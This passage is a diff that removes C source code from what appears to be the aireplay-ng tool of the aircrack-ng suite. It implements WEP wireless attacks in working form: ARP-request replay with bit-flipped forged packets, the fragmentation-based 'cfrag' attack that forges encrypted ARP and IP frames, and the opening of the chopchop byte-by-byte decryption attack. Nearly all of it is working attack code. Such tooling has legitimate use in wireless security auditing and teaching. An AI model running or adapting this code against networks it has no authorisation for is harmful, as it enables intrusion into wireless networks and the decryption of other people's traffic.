-	memset(strbuf, 0, sizeof(strbuf));
-	snprintf(strbuf,
-			 sizeof(strbuf) - 1,
-			 "replay_arp-%02d%02d-%02d%02d%02d.cap",
-			 lt->tm_mon + 1,
-			 lt->tm_mday,
-			 lt->tm_hour,
-			 lt->tm_min,
-			 lt->tm_sec);
-
-	printf("Saving ARP requests in %s\n", strbuf);
-
-	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
-	{
-		perror("fopen failed");
-		free(arp);
-		return (1);
-	}
-
-	n = sizeof(struct pcap_file_header);
-
-	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
-	{
-		perror("fwrite failed\n");
-		free(arp);
-		fclose(f_cap_out);
-		return (1);
-	}
-
-	fflush(f_cap_out);
-
-	printf("You should also start airodump-ng to capture replies.\n");
-	printf("Remember to filter the capture to only keep WEP frames: ");
-	printf(" \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n");
-	// printf( "Remember to filter the capture to keep only broadcast From-DS
-	// frames.\n");
-
-	if (opt.port_in <= 0)
-	{
-		/* avoid blocking on reading the socket */
-		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
-		{
-			perror("fcntl(O_NONBLOCK) failed");
-			free(arp);
-			fclose(f_cap_out);
-			return (1);
-		}
-	}
-
-	memset(ticks, 0, sizeof(ticks));
-
-	tc = time(NULL) - 11;
-
-	nb_pkt_read = 0;
-	nb_bad_pkt = 0;
-	nb_ack_pkt = 0;
-	nb_arp = 0;
-	nb_arp_tot = 0;
-	arp_off1 = 0;
-	arp_off2 = 0;
-
-	while (1)
-	{
-		/* sleep until the next clock tick */
-
-		if (dev.fd_rtc >= 0)
-		{
-			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
-			{
-				perror("read(/dev/rtc) failed");
-				free(arp);
-				fclose(f_cap_out);
-				return (1);
-			}
-
-			ticks[0]++;
-			ticks[1]++;
-			ticks[2]++;
-		}
-		else
-		{
-			gettimeofday(&tv, NULL);
-			usleep(1000000 / RTC_RESOLUTION);
-			gettimeofday(&tv2, NULL);
-
-			f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
-				+ (float) (tv2.tv_usec - tv.tv_usec);
-
-			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
-			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
-			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
-		}
-
-		if (ticks[1] > (RTC_RESOLUTION / 10.f))
-		{
-			ticks[1] = 0;
-			printf("\rRead %ld packets (%ld ARPs, %ld ACKs), "
-				   "sent %lu packets...(%d pps)\r",
-				   nb_pkt_read,
-				   nb_arp_tot,
-				   nb_ack_pkt,
-				   nb_pkt_sent,
-				   (int) ((double) nb_pkt_sent
-						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
-			fflush(stdout);
-		}
-
-		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
-		{
-			/* threshold reach, send one frame */
-
-			ticks[2] = 0;
-
-			if (nb_arp > 0)
-			{
-				if (nb_pkt_sent == 0) ticks[0] = 0;
-
-				if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
-				{
-					free(arp);
-					fclose(f_cap_out);
-					return (1);
-				}
-
-				if (((double) ticks[0] / (double) RTC_RESOLUTION)
-						* (double) opt.r_nbpps
-					> (double) nb_pkt_sent)
-				{
-					if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
-					{
-						free(arp);
-						fclose(f_cap_out);
-						return (1);
-					}
-				}
-
-				if (++arp_off1 >= nb_arp) arp_off1 = 0;
-			}
-		}
-
-		/* read a frame, and check if it's an ARP request */
-
-		if (opt.s_file == NULL)
-		{
-			gettimeofday(&tv, NULL);
-
-			caplen = read_packet(h80211, sizeof(h80211), NULL);
-
-			if (caplen < 0)
-			{
-				free(arp);
-				fclose(f_cap_out);
-				return (1);
-			}
-			if (caplen == 0) continue;
-		}
-		else
-		{
-			n = sizeof(pkh);
-
-			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
-			{
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
-			{
-				SWAP32(pkh.caplen);
-				SWAP32(pkh.len);
-			}
-
-			tv.tv_sec = pkh.tv_sec;
-			tv.tv_usec = pkh.tv_usec;
-
-			n = caplen = pkh.caplen;
-
-			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
-			{
-				printf("\r");
-				erase_line(0);
-				printf("Invalid packet length %d.\n", n);
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
-			{
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
-			{
-				/* remove the prism header */
-
-				if (h80211[7] == 0x40)
-					n = 64;
-				else
-					n = *(int *) (h80211 + 4);
-
-				if (n < 8 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
-			{
-				/* remove the radiotap header */
-
-				n = *(unsigned short *) (h80211 + 2);
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
-			{
-				/* remove the PPI header */
-
-				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				/* for a while Kismet logged broken PPI headers */
-				if (n == 24
-					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
-					n = 32;
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-		}
-
-		nb_pkt_read++;
-
-		/* check if it's a disas. or deauth packet */
-
-		if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
-			&& !memcmp(h80211 + 4, opt.r_smac, 6))
-		{
-			nb_bad_pkt++;
-
-			if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
-			{
-				erase_line(0);
-				printf("Notice: got a deauth/disassoc packet. Is the "
-					   "source MAC associated ?\n");
-
-				tc = time(NULL);
-				nb_bad_pkt = 0;
-			}
-		}
-
-		if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.f_bssid, 6))
-		{
-			nb_ack_pkt++;
-		}
-
-		/* check if it's a potential ARP request */
-
-		opt.f_minlen = opt.f_maxlen = 68;
-
-		if (filter_packet(h80211, caplen) == 0) goto add_arp;
-
-		opt.f_minlen = opt.f_maxlen = 86;
-
-		if (filter_packet(h80211, caplen) == 0)
-		{
-		add_arp:
-			z = ((h80211[1] & 3) != 3) ? 24 : 30;
-			if ((h80211[0] & 0x80) == 0x80) /* QoS */
-				z += 2;
-
-			switch (h80211[1] & 3)
-			{
-				case 2: /* FromDS */
-				{
-					if (memcmp(h80211 + 4, BROADCAST, 6) == 0)
-					{
-						/* backup sender MAC */
-
-						memset(senderMAC, 0, 6);
-						memcpy(senderMAC, h80211 + 16, 6);
-
-						/* rewrite to a ToDS packet */
-
-						memcpy(h80211 + 4, opt.f_bssid, 6);
-						memcpy(h80211 + 10, opt.r_smac, 6);
-						memcpy(h80211 + 16, BROADCAST, 6);
-
-						h80211[1] = 0x41; /* ToDS & WEP  */
-					}
-					else
-					{
-						nb_arp_tot++;
-						continue;
-					}
-
-					break;
-				}
-				default:
-					continue;
-			}
-
-			//             h80211[0] = 0x08;   /* normal data */
-
-			/* if same IV, perhaps our own packet, skip it */
-
-			for (i = 0; i < nb_arp; i++)
-			{
-				if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
-					break;
-			}
-
-			if (i < nb_arp) continue;
-
-			if (caplen > 128) continue;
-			/* add the ARP request in the ring buffer */
-
-			nb_arp_tot++;
-
-			/* Ring buffer size: by default: 8 ) */
-
-			if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
-				continue;
-			else
-			{
-
-				if ((arp[nb_arp].buf = malloc(128)) == NULL)
-				{
-					perror("malloc failed");
-					free(arp);
-					fclose(f_cap_out);
-					return (1);
-				}
-
-				memset(flip, 0, 4096);
-
-				/* flip the sender MAC to convert it into the source MAC  */
-				flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]);
-				flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]);
-				flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]);
-				flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]);
-				flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]);
-				flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]);
-				flip[25] ^= ((rand() % 255)
-							 + 1); // flip random bits in last byte of sender IP
-
-				add_crc32_plain(flip, caplen - z - 4 - 4);
-				for (i = 0; i < caplen - z - 4; i++)
-				{
-					(h80211 + z + 4)[i] ^= flip[i];
-				}
-
-				memcpy(arp[nb_arp].buf, h80211, caplen);
-				arp[nb_arp].len = caplen;
-				arp[nb_arp].hdrlen = z;
-				nb_arp++;
-
-				pkh.tv_sec = tv.tv_sec;
-				pkh.tv_usec = tv.tv_usec;
-				pkh.caplen = caplen;
-				pkh.len = caplen;
-
-				n = sizeof(pkh);
-
-				if (fwrite(&pkh, n, 1, f_cap_out) != 1)
-				{
-					perror("fwrite failed");
-					free(arp);
-					fclose(f_cap_out);
-					return (1);
-				}
-
-				n = pkh.caplen;
-
-				if (fwrite(h80211, n, 1, f_cap_out) != 1)
-				{
-					perror("fwrite failed");
-					free(arp);
-					fclose(f_cap_out);
-					return (1);
-				}
-
-				fflush(f_cap_out);
-			}
-		}
-	}
-
-	return (0);
-}
-
-static int set_clear_arp(unsigned char * buf,
-						 unsigned char * smac,
-						 unsigned char * dmac) // set first 22 bytes
-{
-	if (buf == NULL) return -1;
-
-	memcpy(buf, S_LLC_SNAP_ARP, 8);
-	buf[8] = 0x00;
-	buf[9] = 0x01; // ethernet
-	buf[10] = 0x08; // IP
-	buf[11] = 0x00;
-	buf[12] = 0x06; // hardware size
-	buf[13] = 0x04; // protocol size
-	buf[14] = 0x00;
-	if (memcmp(dmac, BROADCAST, 6) == 0)
-		buf[15] = 0x01; // request
-	else
-		buf[15] = 0x02; // reply
-	memcpy(buf + 16, smac, 6);
-
-	return 0;
-}
-
-static int set_final_arp(unsigned char * buf, unsigned char * mymac)
-{
-	if (buf == NULL) return -1;
-
-	// shifted by 10bytes to set source IP as target IP :)
-
-	buf[0] = 0x08; // IP
-	buf[1] = 0x00;
-	buf[2] = 0x06; // hardware size
-	buf[3] = 0x04; // protocol size
-	buf[4] = 0x00;
-	buf[5] = 0x01; // request
-	memcpy(buf + 6, mymac, 6); // sender mac
-	buf[12] = 0xA9; // sender IP 169.254.87.197
-	buf[13] = 0xFE;
-	buf[14] = 0x57;
-	buf[15] = 0xC5; // end sender IP
-
-	return 0;
-}
-
-static int set_clear_ip(unsigned char * buf, int ip_len) // set first 9 bytes
-{
-	if (buf == NULL) return -1;
-
-	memcpy(buf, S_LLC_SNAP_IP, 8);
-	buf[8] = 0x45;
-	buf[10] = (ip_len >> 8) & 0xFF;
-	buf[11] = ip_len & 0xFF;
-
-	return 0;
-}
-
-static int set_final_ip(unsigned char * buf, unsigned char * mymac)
-{
-	if (buf == NULL) return -1;
-
-	// shifted by 10bytes to set source IP as target IP :)
-
-	buf[0] = 0x06; // hardware size
-	buf[1] = 0x04; // protocol size
-	buf[2] = 0x00;
-	buf[3] = 0x01; // request
-	memcpy(buf + 4, mymac, 6); // sender mac
-	buf[10] = 0xA9; // sender IP from 169.254.XXX.XXX
-	buf[11] = 0xFE;
-
-	return 0;
-}
-
-static int do_attack_cfrag(void)
-{
-	int caplen, n;
-	struct timeval tv;
-	struct timeval tv2;
-	float f, ticks[3];
-	unsigned char bssid[6];
-	unsigned char smac[6];
-	unsigned char dmac[6];
-	unsigned char keystream[128];
-	unsigned char frag1[128], frag2[128], frag3[128];
-	unsigned char clear[4096], final[4096], flip[4096];
-	int isarp;
-	int z, i;
-
-	opt.f_fromds = 0;
-
-read_packets:
-
-	if (capture_ask_packet(&caplen, 0) != 0) return (1);
-
-	z = ((h80211[1] & 3) != 3) ? 24 : 30;
-	if ((h80211[0] & 0x80) == 0x80) /* QoS */
-		z += 2;
-
-	if (caplen < z)
-	{
-		goto read_packets;
-	}
-
-	if (caplen > 3800)
-	{
-		goto read_packets;
-	}
-
-	switch (h80211[1] & 3)
-	{
-		case 0:
-			memcpy(bssid, h80211 + 16, 6);
-			memcpy(dmac, h80211 + 4, 6);
-			memcpy(smac, h80211 + 10, 6);
-			break;
-		case 1:
-			memcpy(bssid, h80211 + 4, 6);
-			memcpy(dmac, h80211 + 16, 6);
-			memcpy(smac, h80211 + 10, 6);
-			break;
-		case 2:
-			memcpy(bssid, h80211 + 10, 6);
-			memcpy(dmac, h80211 + 4, 6);
-			memcpy(smac, h80211 + 16, 6);
-			break;
-		default:
-			memcpy(bssid, h80211 + 10, 6);
-			memcpy(dmac, h80211 + 16, 6);
-			memcpy(smac, h80211 + 24, 6);
-			break;
-	}
-
-	memset(clear, 0, 4096);
-	memset(final, 0, 4096);
-	memset(flip, 0, 4096);
-	memset(frag1, 0, 128);
-	memset(frag2, 0, 128);
-	memset(frag3, 0, 128);
-	memset(keystream, 0, 128);
-
-	/* check if it's a potential ARP request */
-
-	// its length 68-24 or 86-24 and going to broadcast or a unicast mac (even
-	// first byte)
-	if ((caplen - z == 68 - 24 || caplen - z == 86 - 24)
-		&& (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0] % 2) == 0))
-	{
-		/* process ARP */
-		printf("Found ARP packet\n");
-		isarp = 1;
-		// build the new packet
-		set_clear_arp(clear, smac, dmac);
-		set_final_arp(final, opt.r_smac);
-
-		for (i = 0; i < 14; i++) keystream[i] = (h80211 + z + 4)[i] ^ clear[i];
-
-		// correct 80211 header
-		//         h80211[0] = 0x08;    //data
-		if ((h80211[1] & 3) == 0x00) // ad-hoc
-		{
-			h80211[1] = 0x40; // wep
-			memcpy(h80211 + 4, smac, 6);
-			memcpy(h80211 + 10, opt.r_smac, 6);
-			memcpy(h80211 + 16, bssid, 6);
-		}
-		else // tods
-		{
-			if (opt.f_tods == 1)
-			{
-				h80211[1] = 0x41; // wep+ToDS
-				memcpy(h80211 + 4, bssid, 6);
-				memcpy(h80211 + 10, opt.r_smac, 6);
-				memcpy(h80211 + 16, smac, 6);
-			}
-			else
-			{
-				h80211[1] = 0x42; // wep+FromDS
-				memcpy(h80211 + 4, smac, 6);
-				memcpy(h80211 + 10, bssid, 6);
-				memcpy(h80211 + 16, opt.r_smac, 6);
-			}
-		}
-		h80211[22] = 0xD0; // frag = 0;
-		h80211[23] = 0x50;
-
-		// need to shift by 10 bytes; (add 1 frag in front)
-		memcpy(frag1, h80211, z + 4); // copy 80211 header and IV
-		frag1[1] |= 0x04; // more frags
-		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 8);
-		frag1[z + 4 + 8] = 0x00;
-		frag1[z + 4 + 9] = 0x01; // ethernet
-		add_crc32(frag1 + z + 4, 10);
-		for (i = 0; i < 14; i++) (frag1 + z + 4)[i] ^= keystream[i];
-		/* frag1 finished */
-
-		for (i = 0; i < caplen; i++) flip[i] = clear[i] ^ final[i];
-
-		add_crc32_plain(flip, caplen - z - 4 - 4);
-
-		for (i = 0; i < caplen - z - 4; i++) (h80211 + z + 4)[i] ^= flip[i];
-		h80211[22] = 0xD1; // frag = 1;
-
-		// ready to send frag1 / len=z+4+10+4 and h80211 / len = caplen
-	}
-	else
-	{
-		/* process IP */
-		printf("Found IP packet\n");
-		isarp = 0;
-		// build the new packet
-		set_clear_ip(
-			clear,
-			caplen - z - 4 - 8
-				- 4); // caplen - ieee80211header - IVIDX - LLC/SNAP - ICV
-		set_final_ip(final, opt.r_smac);
-
-		for (i = 0; i < 8; i++) keystream[i] = (h80211 + z + 4)[i] ^ clear[i];
-
-		// correct 80211 header
-		//         h80211[0] = 0x08;    //data
-		if ((h80211[1] & 3) == 0x00) // ad-hoc
-		{
-			h80211[1] = 0x40; // wep
-			memcpy(h80211 + 4, smac, 6);
-			memcpy(h80211 + 10, opt.r_smac, 6);
-			memcpy(h80211 + 16, bssid, 6);
-		}
-		else
-		{
-			if (opt.f_tods == 1)
-			{
-				h80211[1] = 0x41; // wep+ToDS
-				memcpy(h80211 + 4, bssid, 6);
-				memcpy(h80211 + 10, opt.r_smac, 6);
-				memcpy(h80211 + 16, smac, 6);
-			}
-			else
-			{
-				h80211[1] = 0x42; // wep+FromDS
-				memcpy(h80211 + 4, smac, 6);
-				memcpy(h80211 + 10, bssid, 6);
-				memcpy(h80211 + 16, opt.r_smac, 6);
-			}
-		}
-		h80211[22] = 0xD0; // frag = 0;
-		h80211[23] = 0x50;
-
-		// need to shift by 12 bytes;(add 3 frags in front)
-		memcpy(frag1, h80211, z + 4); // copy 80211 header and IV
-		memcpy(frag2, h80211, z + 4); // copy 80211 header and IV
-		memcpy(frag3, h80211, z + 4); // copy 80211 header and IV
-		frag1[1] |= 0x04; // more frags
-		frag2[1] |= 0x04; // more frags
-		frag3[1] |= 0x04; // more frags
-
-		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 4);
-		add_crc32(frag1 + z + 4, 4);
-		for (i = 0; i < 8; i++) (frag1 + z + 4)[i] ^= keystream[i];
-
-		memcpy(frag2 + z + 4, S_LLC_SNAP_ARP + 4, 4);
-		add_crc32(frag2 + z + 4, 4);
-		for (i = 0; i < 8; i++) (frag2 + z + 4)[i] ^= keystream[i];
-		frag2[22] = 0xD1; // frag = 1;
-
-		frag3[z + 4 + 0] = 0x00;
-		frag3[z + 4 + 1] = 0x01; // ether
-		frag3[z + 4 + 2] = 0x08; // IP
-		frag3[z + 4 + 3] = 0x00;
-		add_crc32(frag3 + z + 4, 4);
-		for (i = 0; i < 8; i++) (frag3 + z + 4)[i] ^= keystream[i];
-		frag3[22] = 0xD2; // frag = 2;
-		/* frag1,2,3 finished */
-
-		for (i = 0; i < caplen; i++) flip[i] = clear[i] ^ final[i];
-
-		add_crc32_plain(flip, caplen - z - 4 - 4);
-
-		for (i = 0; i < caplen - z - 4; i++) (h80211 + z + 4)[i] ^= flip[i];
-		h80211[22] = 0xD3; // frag = 3;
-
-		// ready to send frag1,2,3 / len=z+4+4+4 and h80211 / len = caplen
-	}
-
-	/* loop resending the packet */
-
-	/* Check if airodump-ng is running. If not, print that message */
-	printf("You should also start airodump-ng to capture replies.\n\n");
-
-	signal(SIGINT, sighandler);
-	ctrl_c = 0;
-
-	memset(ticks, 0, sizeof(ticks));
-
-	nb_pkt_sent = 0;
-
-	while (1)
-	{
-		if (ctrl_c) goto read_packets;
-
-		/* wait for the next timer interrupt, or sleep */
-
-		if (dev.fd_rtc >= 0)
-		{
-			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
-			{
-				perror("read(/dev/rtc) failed");
-				return (1);
-			}
-
-			ticks[0]++;
-			ticks[1]++;
-			ticks[2]++;
-		}
-		else
-		{
-			/* we can't trust usleep, since it depends on the HZ */
-
-			gettimeofday(&tv, NULL);
-			usleep(1000000 / RTC_RESOLUTION);
-			gettimeofday(&tv2, NULL);
-
-			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
-				+ (float) (tv2.tv_usec - tv.tv_usec);
-
-			ticks[0] += f / (1000000 / RTC_RESOLUTION);
-			ticks[1] += f / (1000000 / RTC_RESOLUTION);
-			ticks[2] += f / (1000000 / RTC_RESOLUTION);
-		}
-
-		/* update the status line */
-
-		if (ticks[1] > RTC_RESOLUTION / 10)
-		{
-			ticks[1] = 0;
-			printf("\rSent %lu packets...(%d pps)",
-				   nb_pkt_sent,
-				   (int) ((double) nb_pkt_sent
-						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
-			fflush(stdout);
-			erase_line(0);
-			printf("\r");
-		}
-
-		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION < 1) continue;
-
-		/* threshold reached */
-
-		ticks[2] = 0;
-
-		if (nb_pkt_sent == 0) ticks[0] = 0;
-
-		if (isarp)
-		{
-			if (send_packet(frag1, z + 4 + 10 + 4) < 0) return (1);
-			nb_pkt_sent--;
-		}
-		else
-		{
-			if (send_packet(frag1, z + 4 + 4 + 4) < 0) return (1);
-			if (send_packet(frag2, z + 4 + 4 + 4) < 0) return (1);
-			if (send_packet(frag3, z + 4 + 4 + 4) < 0) return (1);
-			nb_pkt_sent -= 3;
-		}
-		if (send_packet(h80211, caplen) < 0) return (1);
-	}
-
-	return (0);
-}
-
-static int do_attack_chopchop(void)
-{
-	float f, ticks[4];
-	int i, j, n, z, caplen, srcz;
-	int data_start, data_end, srcdiff, diff;
-	int guess, is_deauth_mode;
-	int nb_bad_pkt;
-	int tried_header_rec = 0;
-
-	unsigned char b1 = 0xAA;
-	unsigned char b2 = 0xAA;
-
-	FILE * f_cap_out;
-	long nb_pkt_read;
-	unsigned long crc_mask;
-	unsigned char * chopped;
-
-	unsigned char packet[4096];
-
-	time_t tt;
-	struct tm * lt;
-	struct timeval tv;
-	struct timeval tv2;
-	struct pcap_file_header pfh_out;
-	struct pcap_pkthdr pkh;
-
-	if (getnet(NULL, 1, 0) != 0) return 1;
-
-	srand(time(NULL));
-
-	if (capture_ask_packet(&caplen, 0) != 0) return (1);
-
-	z = ((h80211[1] & 3) != 3) ? 24 : 30;
-	if ((h80211[0] & 0x80) == 0x80) /* QoS */
-		z += 2;
-	srcz = z;
-
-	if ((unsigned) caplen > sizeof(srcbuf)
-		|| (unsigned) caplen > sizeof(h80211))
-		return (1);
-
-	if (opt.r_smac_set == 1)
-	{
-		// handle picky APs (send one valid packet before all the invalid ones)
-		memset(packet, 0, sizeof(packet));
-
-		memcpy(packet, NULL_DATA, 24);
-		memcpy(packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
-		memcpy(packet + 10, opt.r_smac, 6);
-		memcpy(packet + 16, opt.f_bssid, 6);
-
-		packet[0] = 0x08; // make it a data packet
-		packet[1] = 0x41; // set encryption and ToDS=1
-
-		memcpy(packet + 24, h80211 + z, caplen - z);
-
-		if (send_packet(packet, caplen - z + 24) != 0) return (1);
-		// done sending a correct packet
-	}
-
-	/* Special handling for spanning-tree packets */
-	if (memcmp(h80211 + 4, SPANTREE, 6) == 0
-		|| memcmp(h80211 + 16, SPANTREE, 6) == 0)
-	{
-		b1 = 0x42;
-		b2 = 0x42;
-	}
-
-	printf("\n");
-
-	/* chopchop operation mode: truncate and decrypt the packet */
-	/* we assume the plaintext starts with  AA AA 03 00 00 00   */
-	/* (42 42 03 00 00 00 for spanning-tree packets)            */
-
-	memcpy(srcbuf, h80211, caplen);
-
-	/* setup the chopping buffer */
-
-	n = caplen - z + 24;
-
-	if ((chopped = (unsigned char *) malloc(n)) == NULL)
-	{
-		perror("malloc failed");
-		return (1);
-	}
-
-	memset(chopped, 0, n);
-
-	data_start = 24 + 4;
-	data_end = n;
-	srcdiff = z - 24;
-
-	chopped[0] = 0x08; /* normal data frame */
-	chopped[1] = 0x41; /* WEP = 1, ToDS = 1 */
-
-	/* copy the duration */
-
-	memcpy(chopped + 2, h80211 + 2, 2);
-
-	/* copy the BSSID */
-
-	switch (h80211[1] & 3)
-	{
-		case 0:
-			memcpy(chopped + 4, h80211 + 16, 6);
-			break;
-		case 1:
-			memcpy(chopped + 4, h80211 + 4, 6);
-			break;
-		case 2:
-			memcpy(chopped + 4, h80211 + 10, 6);
-			break;
-		default:
-			memcpy(chopped + 4, h80211 + 10, 6);
-			break;
-	}
-
-	/* copy the WEP IV */
-
-	memcpy(chopped + 24, h80211 + z, 4);
-
-	/* setup the xor mask to hide the original data */
-
-	crc_mask = 0;
-
-	for (i = data_start; i < data_end - 4; i++)
-	{
-		switch (i - data_start)
-		{
-			case 0:
-				chopped[i] = b1 ^ 0xE0;
-				break;
-			case 1:
-				chopped[i] = b2 ^ 0xE0;
-				break;
-			case 2:
-				chopped[i] = 0x03 ^ 0x03;
-				break;
-			default:
-				chopped[i] = 0x55 ^ (i & 0xFF);
-				break;
-		}
-
-		crc_mask
-			= crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8) ^ (chopped[i] << 24);
-	}
-
-	for (i = 0; i < 4; i++)
-		crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8);
-
-	chopped[data_end - 4] = crc_mask;
-	crc_mask >>= 8;
-	chopped[data_end - 3] = crc_mask;
-	crc_mask >>= 8;
-	chopped[data_end - 2] = crc_mask;
-	crc_mask >>= 8;
-	chopped[data_end - 1] = crc_mask;
-	crc_mask >>= 8;
-
-	for (i = data_start; i < data_end; i++) chopped[i] ^= srcbuf[i + srcdiff];
-
-	data_start += 6; /* skip the SNAP header */
-
-	/* if the replay source mac is unspecified, forge one */
-
-	if (opt.r_smac_set == 0)
-	{
-		is_deauth_mode = 1;
-
-		opt.r_smac[0] = 0x00;
-		opt.r_smac[1] = rand() & 0x3E;
-		opt.r_smac[2] = rand() & 0xFF;
-		opt.r_smac[3] = rand() & 0xFF;
-		opt.r_smac[4] = rand() & 0xFF;
-
-		memcpy(opt.r_dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
-	}
-	else
-	{
-		is_deauth_mode = 0;
-
-		opt.r_dmac[0] = 0xFF;
-		opt.r_dmac[1] = rand() & 0xFE;
-		opt.r_dmac[2] = rand() & 0xFF;
-		opt.r_dmac[3] = rand() & 0xFF;
-		opt.r_dmac[4] = rand() & 0xFF;
-	}
-
-	/* let's go chopping */
-
-	memset(ticks, 0, sizeof(ticks));
-
-	nb_pkt_read = 0;
-	nb_pkt_sent = 0;
-	nb_bad_pkt = 0;
-	guess = 256;
-
-	tt = time(NULL);
-
-	alarm(30);
-
-	signal(SIGALRM, sighandler);
-
-	if (opt.port_in <= 0)
-	{
-		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
-		{
-			perror("fcntl(O_NONBLOCK) failed");
-			free(chopped);
-			return (1);
-		}
-	}
-
-	while (data_end > data_start)
-	{
-		if (alarmed)
-		{
-			printf("\n\n"
-				   "The chopchop attack appears to have failed. Possible "
-				   "reasons:\n"
-				   "\n"
-				   "    * You're trying to inject with an unsupported chipset "
-				   "(Centrino?).\n"
-				   "    * The driver source wasn't properly patched for "
-				   "injection support.\n"
-				   "    * You are too far from the AP. Get closer or reduce "
-				   "the send rate.\n"
-				   "    * Target is 802.11g only but you are using a Prism2 or "
-				   "RTL8180.\n"
-				   "    * The wireless interface isn't setup on the correct "
-				   "channel.\n");
-			if (is_deauth_mode)
-				printf("    * The AP isn't vulnerable when operating in "
-					   "non-authenticated mode.\n"
-					   "      Run aireplay-ng in authenticated mode instead "
-					   "(-h option).\n\n");
-			else
-				printf("    * The client MAC you have specified is not "
-					   "currently authenticated.\n"
-					   "      Try running another aireplay-ng to fake "
-					   "authentication (attack \"-1\").\n"
-					   "    * The AP isn't vulnerable when operating in "
-					   "authenticated mode.\n"
-					   "      Try aireplay-ng in non-authenticated mode "
-					   "instead (no -h option).\n\n");
-			free(chopped);
-			return (1);
-		}
-
-		/* wait for the next timer interrupt, or sleep */
-
-		if (dev.fd_rtc >= 0)
-		{
-			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
-			{
-				perror("\nread(/dev/rtc) failed");
-				free(chopped);
-				return (1);
-			}
-
-			ticks[0]++; /* ticks since we entered the while loop     */
-			ticks[1]++; /* ticks since the last status line update   */
-			ticks[2]++; /* ticks since the last frame was sent       */
-			ticks[3]++; /* ticks since started chopping current byte */
-		}
-		else
-		{
-			/* we can't trust usleep, since it depends on the HZ */
-
-			gettimeofday(&tv, NULL);
-			usleep(976);
-			gettimeofday(&tv2, NULL);
-
-			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
-				+ (float) (tv2.tv_usec - tv.tv_usec);
-
-			ticks[0] += f / 976;
-			ticks[1] += f / 976;
-			ticks[2] += f / 976;
-			ticks[3] += f / 976;
-		}
-
-		/* update the status line */
-
-		if (ticks[1] > (RTC_RESOLUTION / 10.f))
-		{
-			ticks[1] = 0;
-			printf("\rSent %3lu packets, current guess: %02X...",
-				   nb_pkt_sent,
-				   guess);
-			fflush(stdout);
-			erase_line(0);
-		}
-
-		if (data_end < 41
-			&& ticks[3] > 8 * (ticks[0] - ticks[3])
-							  / (int) (caplen - (data_end - 1)))
-		{
-		header_rec:
-
-			printf("\n\nThe AP appears to drop packets shorter "
-				   "than %d bytes.\n",
-				   data_end);
-
-			data_end = 40;
-
-			z = ((h80211[1] & 3) != 3) ? 24 : 30;
-			if ((h80211[0] & 0x80) == 0x80) /* QoS */
-				z += 2;
-
-			diff = z - 24;
-
-			if ((chopped[data_end + 0] ^ srcbuf[data_end + srcdiff + 0]) == 0x06
-				&& (chopped[data_end + 1] ^ srcbuf[data_end + srcdiff + 1])
-					   == 0x04
-				&& (chopped[data_end + 2] ^ srcbuf[data_end + srcdiff + 2])
-					   == 0x00)
-			{
-				printf("Enabling standard workaround: "
-					   "ARP header re-creation.\n");
-
-				chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08;
-				chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x06;
-				chopped[24 + 12] = srcbuf[srcz + 12] ^ 0x00;
-				chopped[24 + 13] = srcbuf[srcz + 13] ^ 0x01;
-				chopped[24 + 14] = srcbuf[srcz + 14] ^ 0x08;
